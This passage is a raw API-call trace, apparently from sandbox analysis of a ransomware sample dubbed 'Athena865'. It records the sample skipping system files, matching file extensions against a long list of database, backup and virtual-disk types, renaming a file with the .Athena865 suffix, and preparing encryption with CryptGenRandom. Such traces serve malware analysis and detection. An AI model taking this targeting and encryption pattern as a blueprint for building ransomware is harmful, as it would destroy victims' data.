lpString2="bootmgr") returned 1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="temp") returned -1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="pagefile.sys") returned -1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot") returned 1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ids.txt") returned 1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntuser.dat") returned 1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="perflogs") returned -1 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2="MSBuild") returned 1 [0061.687] lstrlenW (lpString="Office32WW.xml") returned 14 [0061.687] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Office32WW.xml" | out: lpString1="Office32WW.xml") returned="Office32WW.xml" [0061.687] lstrlenW (lpString="Office32WW.xml") returned 14 [0061.687] lstrlenW (lpString="Athena865") returned 9 [0061.687] lstrcmpiW (lpString1="e32WW.xml", lpString2="Athena865") returned 1 [0061.687] lstrlenW (lpString=".dll") returned 4 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".dll") returned 1 [0061.687] lstrlenW (lpString=".lnk") returned 4 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".lnk") returned 1 [0061.687] lstrlenW (lpString=".ini") returned 4 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".ini") returned 1 [0061.687] lstrlenW (lpString=".sys") returned 4 [0061.687] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".sys") returned 1 [0061.687] lstrlenW (lpString="Office32WW.xml") returned 14 [0061.688] lstrlenW (lpString="bak") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0061.688] lstrlenW (lpString="ba_") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0061.688] lstrlenW (lpString="dbb") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0061.688] lstrlenW (lpString="vmdk") returned 4 [0061.688] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0061.688] lstrlenW (lpString="rar") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0061.688] lstrlenW (lpString="zip") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0061.688] lstrlenW (lpString="tgz") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0061.688] lstrlenW (lpString="vbox") returned 4 [0061.688] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0061.688] lstrlenW (lpString="vdi") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0061.688] lstrlenW (lpString="vhd") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0061.688] lstrlenW (lpString="vhdx") returned 4 [0061.688] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0061.688] lstrlenW (lpString="avhd") returned 4 [0061.688] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0061.688] lstrlenW (lpString="db") returned 2 [0061.688] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0061.688] lstrlenW (lpString="db2") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0061.688] lstrlenW (lpString="db3") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0061.688] lstrlenW (lpString="dbf") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0061.688] lstrlenW (lpString="mdf") returned 3 [0061.688] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0061.689] lstrlenW (lpString="mdb") returned 3 [0061.689] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0061.689] lstrlenW (lpString="sql") returned 3 [0061.689] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0061.689] lstrlenW (lpString="sqlite") returned 6 [0061.689] lstrcmpiW (lpString1="WW.xml", lpString2="sqlite") returned 1 [0061.689] lstrlenW (lpString="sqlite3") returned 7 [0061.689] lstrcmpiW (lpString1="2WW.xml", lpString2="sqlite3") returned -1 [0061.689] lstrlenW (lpString="sqlitedb") returned 8 [0061.689] lstrcmpiW (lpString1="32WW.xml", lpString2="sqlitedb") returned -1 [0061.689] lstrlenW (lpString="xml") returned 3 [0061.689] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0061.689] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Athena865") returned 87 [0061.689] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.athena865"), dwFlags=0x1) returned 1 [0061.690] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0061.690] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4274) returned 1 [0061.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0061.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0061.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0061.690] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0061.691] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0061.691] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0061.691] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c0, lpName=0x0) returned 0x17c [0061.701] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c0) returned 0x100000 [0061.705] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0061.707] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0061.707] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0061.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0061.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0061.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0061.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0061.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0061.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0061.708] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0061.708] CloseHandle (hObject=0x17c) returned 1 [0061.708] CloseHandle (hObject=0x154) returned 1 [0061.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0061.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0061.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0061.708] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2=".") returned 1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="..") returned 1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="windows") returned -1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="bootmgr") returned 1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="temp") returned -1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="pagefile.sys") returned -1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="boot") returned 1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="ids.txt") returned 1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="ntuser.dat") returned 1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="perflogs") returned -1 [0061.708] lstrcmpiW (lpString1="ose.exe", lpString2="MSBuild") returned 1 [0061.708] lstrlenW (lpString="ose.exe") returned 7 [0061.709] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ose.exe" | out: lpString1="ose.exe") returned="ose.exe" [0061.709] lstrlenW (lpString="ose.exe") returned 7 [0061.709] lstrlenW (lpString="Athena865") returned 9 [0061.709] lstrlenW (lpString=".dll") returned 4 [0061.709] lstrcmpiW (lpString1="ose.exe", lpString2=".dll") returned 1 [0061.709] lstrlenW (lpString=".lnk") returned 4 [0061.709] lstrcmpiW (lpString1="ose.exe", lpString2=".lnk") returned 1 [0061.709] lstrlenW (lpString=".ini") returned 4 [0061.709] lstrcmpiW (lpString1="ose.exe", lpString2=".ini") returned 1 [0061.709] lstrlenW (lpString=".sys") returned 4 [0061.709] lstrcmpiW (lpString1="ose.exe", lpString2=".sys") returned 1 [0061.709] lstrlenW (lpString="ose.exe") returned 7 [0061.709] lstrlenW (lpString="bak") returned 3 [0061.709] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0061.709] lstrlenW (lpString="ba_") returned 3 [0061.709] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0061.709] lstrlenW (lpString="dbb") returned 3 [0061.709] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0061.709] lstrlenW (lpString="vmdk") returned 4 [0061.709] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0061.709] lstrlenW (lpString="rar") returned 3 [0061.709] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0061.709] lstrlenW (lpString="zip") returned 3 [0061.709] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0061.709] lstrlenW (lpString="tgz") returned 3 [0061.709] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0061.709] lstrlenW (lpString="vbox") returned 4 [0061.709] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0061.709] lstrlenW (lpString="vdi") returned 3 [0061.709] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0061.709] lstrlenW (lpString="vhd") returned 3 [0061.709] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0061.709] lstrlenW (lpString="vhdx") returned 4 [0061.709] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0061.709] lstrlenW (lpString="avhd") returned 4 [0061.709] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0061.710] lstrlenW (lpString="db") returned 2 [0061.710] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0061.710] lstrlenW (lpString="db2") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0061.710] lstrlenW (lpString="db3") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0061.710] lstrlenW (lpString="dbf") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0061.710] lstrlenW (lpString="mdf") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0061.710] lstrlenW (lpString="mdb") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0061.710] lstrlenW (lpString="sql") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0061.710] lstrlenW (lpString="sqlite") returned 6 [0061.710] lstrcmpiW (lpString1="se.exe", lpString2="sqlite") returned -1 [0061.710] lstrlenW (lpString="sqlite3") returned 7 [0061.710] lstrlenW (lpString="sqlitedb") returned 8 [0061.710] lstrlenW (lpString="xml") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0061.710] lstrlenW (lpString="$er") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0061.710] lstrlenW (lpString="4dd") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0061.710] lstrlenW (lpString="4dl") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0061.710] lstrlenW (lpString="^^^") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0061.710] lstrlenW (lpString="abs") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0061.710] lstrlenW (lpString="abx") returned 3 [0061.710] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0061.710] lstrlenW (lpString="accdb") returned 5 [0061.710] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0061.711] lstrlenW (lpString="accdc") returned 5 [0061.711] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0061.711] lstrlenW (lpString="accde") returned 5 [0061.711] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0061.711] lstrlenW (lpString="accdr") returned 5 [0061.711] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0061.711] lstrlenW (lpString="accdt") returned 5 [0061.711] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0061.711] lstrlenW (lpString="accdw") returned 5 [0061.711] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0061.711] lstrlenW (lpString="accft") returned 5 [0061.711] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0061.711] lstrlenW (lpString="adb") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0061.711] lstrlenW (lpString="adb") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0061.711] lstrlenW (lpString="ade") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0061.711] lstrlenW (lpString="adf") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0061.711] lstrlenW (lpString="adn") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0061.711] lstrlenW (lpString="adp") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0061.711] lstrlenW (lpString="alf") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0061.711] lstrlenW (lpString="ask") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0061.711] lstrlenW (lpString="btr") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0061.711] lstrlenW (lpString="cat") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0061.711] lstrlenW (lpString="cdb") returned 3 [0061.711] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0061.712] lstrlenW (lpString="ckp") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0061.712] lstrlenW (lpString="cma") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0061.712] lstrlenW (lpString="cpd") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0061.712] lstrlenW (lpString="dacpac") returned 6 [0061.712] lstrcmpiW (lpString1="se.exe", lpString2="dacpac") returned 1 [0061.712] lstrlenW (lpString="dad") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0061.712] lstrlenW (lpString="dadiagrams") returned 10 [0061.712] lstrlenW (lpString="daschema") returned 8 [0061.712] lstrlenW (lpString="db-journal") returned 10 [0061.712] lstrlenW (lpString="db-shm") returned 6 [0061.712] lstrcmpiW (lpString1="se.exe", lpString2="db-shm") returned 1 [0061.712] lstrlenW (lpString="db-wal") returned 6 [0061.712] lstrcmpiW (lpString1="se.exe", lpString2="db-wal") returned 1 [0061.712] lstrlenW (lpString="dbc") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0061.712] lstrlenW (lpString="dbs") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0061.712] lstrlenW (lpString="dbt") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0061.712] lstrlenW (lpString="dbv") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0061.712] lstrlenW (lpString="dbx") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0061.712] lstrlenW (lpString="dcb") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0061.712] lstrlenW (lpString="dct") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0061.712] lstrlenW (lpString="dcx") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0061.712] lstrlenW (lpString="ddl") returned 3 [0061.712] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0061.713] lstrlenW (lpString="dlis") returned 4 [0061.713] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0061.713] lstrlenW (lpString="dp1") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0061.713] lstrlenW (lpString="dqy") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0061.713] lstrlenW (lpString="dsk") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0061.713] lstrlenW (lpString="dsn") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0061.713] lstrlenW (lpString="dtsx") returned 4 [0061.713] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0061.713] lstrlenW (lpString="dxl") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0061.713] lstrlenW (lpString="eco") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0061.713] lstrlenW (lpString="ecx") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0061.713] lstrlenW (lpString="edb") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0061.713] lstrlenW (lpString="epim") returned 4 [0061.713] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0061.713] lstrlenW (lpString="fcd") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0061.713] lstrlenW (lpString="fdb") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0061.713] lstrlenW (lpString="fic") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0061.713] lstrlenW (lpString="flexolibrary") returned 12 [0061.713] lstrlenW (lpString="fm5") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0061.713] lstrlenW (lpString="fmp") returned 3 [0061.713] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0061.713] lstrlenW (lpString="fmp12") returned 5 [0061.714] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1 [0061.714] lstrlenW (lpString="fmpsl") returned 5 [0061.714] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1 [0061.714] lstrlenW (lpString="fol") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0061.714] lstrlenW (lpString="fp3") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0061.714] lstrlenW (lpString="fp4") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0061.714] lstrlenW (lpString="fp5") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0061.714] lstrlenW (lpString="fp7") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0061.714] lstrlenW (lpString="fpt") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0061.714] lstrlenW (lpString="frm") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0061.714] lstrlenW (lpString="gdb") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0061.714] lstrlenW (lpString="gdb") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0061.714] lstrlenW (lpString="grdb") returned 4 [0061.714] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0061.714] lstrlenW (lpString="gwi") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0061.714] lstrlenW (lpString="hdb") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0061.714] lstrlenW (lpString="his") returned 3 [0061.714] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0061.714] lstrlenW (lpString="ib") returned 2 [0061.714] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0061.714] lstrlenW (lpString="idb") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0061.715] lstrlenW (lpString="ihx") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0061.715] lstrlenW (lpString="itdb") returned 4 [0061.715] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0061.715] lstrlenW (lpString="itw") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0061.715] lstrlenW (lpString="jet") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0061.715] lstrlenW (lpString="jtx") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0061.715] lstrlenW (lpString="kdb") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0061.715] lstrlenW (lpString="kexi") returned 4 [0061.715] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0061.715] lstrlenW (lpString="kexic") returned 5 [0061.715] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1 [0061.715] lstrlenW (lpString="kexis") returned 5 [0061.715] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1 [0061.715] lstrlenW (lpString="lgc") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0061.715] lstrlenW (lpString="lwx") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0061.715] lstrlenW (lpString="maf") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0061.715] lstrlenW (lpString="maq") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0061.715] lstrlenW (lpString="mar") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0061.715] lstrlenW (lpString="marshal") returned 7 [0061.715] lstrlenW (lpString="mas") returned 3 [0061.715] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0061.716] lstrlenW (lpString="mav") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0061.716] lstrlenW (lpString="maw") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0061.716] lstrlenW (lpString="mdbhtml") returned 7 [0061.716] lstrlenW (lpString="mdn") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0061.716] lstrlenW (lpString="mdt") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0061.716] lstrlenW (lpString="mfd") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0061.716] lstrlenW (lpString="mpd") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0061.716] lstrlenW (lpString="mrg") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0061.716] lstrlenW (lpString="mud") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0061.716] lstrlenW (lpString="mwb") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0061.716] lstrlenW (lpString="myd") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0061.716] lstrlenW (lpString="ndf") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0061.716] lstrlenW (lpString="nnt") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0061.716] lstrlenW (lpString="nrmlib") returned 6 [0061.716] lstrcmpiW (lpString1="se.exe", lpString2="nrmlib") returned 1 [0061.716] lstrlenW (lpString="ns2") returned 3 [0061.716] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0061.717] lstrlenW (lpString="ns3") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0061.717] lstrlenW (lpString="ns4") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0061.717] lstrlenW (lpString="nsf") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0061.717] lstrlenW (lpString="nv") returned 2 [0061.717] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0061.717] lstrlenW (lpString="nv2") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0061.717] lstrlenW (lpString="nwdb") returned 4 [0061.717] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0061.717] lstrlenW (lpString="nyf") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0061.717] lstrlenW (lpString="odb") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0061.717] lstrlenW (lpString="odb") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0061.717] lstrlenW (lpString="oqy") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0061.717] lstrlenW (lpString="ora") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0061.717] lstrlenW (lpString="orx") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0061.717] lstrlenW (lpString="owc") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0061.717] lstrlenW (lpString="p96") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0061.717] lstrlenW (lpString="p97") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0061.717] lstrlenW (lpString="pan") returned 3 [0061.717] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0061.717] lstrlenW (lpString="pdb") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0061.718] 